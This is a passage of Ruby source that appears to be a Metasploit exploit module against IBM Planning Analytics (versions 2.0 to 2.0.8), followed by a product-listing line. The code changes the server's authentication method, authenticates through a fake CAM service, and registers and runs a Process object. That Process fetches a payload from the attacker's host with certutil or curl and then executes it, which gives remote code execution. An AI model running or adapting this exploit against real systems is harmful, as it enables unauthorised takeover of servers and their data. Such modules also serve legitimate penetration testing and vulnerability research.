)
datastore['SSL'] = true if ssl_restore
# Step 4: send the server config update packet, and ignore what it sends back
print_status("Changing authentication method to 4 (CAM auth)")
upd_cent = update_auth(4)
s = get_socket(app[2], app[3], app[5])
sock_rw(s, upd_cent, true)
s.close
# Step 5: send the CAM auth request and obtain the authentication object
# app name
auth_pkt = stradd(app[0])
auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects
# passport, can be random
auth_pkt += stradd(rand_text_alpha(5..12))
# no idea what these vars are, but they don't seem to matter
auth_pkt += stradd(rand_text_alpha(5..12))
auth_pkt += stradd(rand_text_alpha(5..12))
# client IP
auth_pkt += stradd(lhost)
# add the client version number
auth_pkt += VERSION
auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt)
print_status("Authenticating using CAM Passport and our fake CAM Service...")
s = get_socket(app[2], app[3], app[5])
# try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try
# adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network
counter = 1
res_auth = ''
while(counter < datastore['AUTH_ATTEMPTS'])
# send the authenticate request, but wait a bit so that our fake CAM server can respond
res_auth = sock_rw(s, auth_dist, false, 0.5)
if res_auth.length < 20
print_error("Failed to authenticate on attempt number #{counter}, trying again...")
counter += 1
next
else
break
end
end
if counter == datastore['AUTH_ATTEMPTS']
# if we can't auth, bail out, but first restore the old auth method
s.close
#restore_auth(app, auth_current)
fail_with(Failure::Unknown, "Failed to authenticate to the Application server. Run the exploit and try again!")
end
auth_obj = obj_extract(res_auth)
# Step 6: create a Process object
print_status("Creating our Process object...")
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, [])))
if payload.arch == ["cmd"]
cmd_one = payload.encoded
cmd_two = ''
else
payload_url = "http://#{srvhost}:#{srvport}/"
exe_name = rand_text_alpha(5..13)
if target['Platform'] == 'win'
# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line
exe_name += ".exe"
exe_name = "C:\\Windows\\Temp\\" + exe_name
cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"
cmd_two = exe_name
else
# the Linux one can actually be done in one line, but let's make them similar
exe_name = "/tmp/" + exe_name
cmd_one = "curl #{payload_url} -o #{exe_name};"
cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"
end
register_file_for_cleanup(exe_name)
end
proc_cmd =
[ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is
[ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script)
# the first argument is the command
# the second whether it should wait (1) or not (0) for command completion before returning
stradd("executecommand('#{cmd_one}', #{cmd_two.empty? ? "0" : "1"});") +
stradd("executecommand('#{cmd_two}', 0);")
# Step 7: add the commands into the process object
print_status("Adding command: \"#{cmd_one}\" to the Process object...")
if cmd_two != ''
print_status("Adding command: \"#{cmd_two}\" to the Process object...")
end
sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd))
# Step 8: register the Process object with a random name
obj_name = rand_text_alpha(5..12)
print_status("Registering the Process object under the name '#{obj_name}'")
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name))))
# Step 9: execute the Process!
print_status("Now let's execute the Process object!")
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), true)
s.close
# Step 10: restore the auth method and enjoy the shell!
restore_auth(app, auth_current)
if payload.arch.include? ARCH_CMD
print_good("Your command should have executed by now, enjoy!")
end
end
end
Products Mentioned
Configuraton 0
Ibm>>Planning_analytics >> Version From (including) 2.0 To (including) 2.0.8
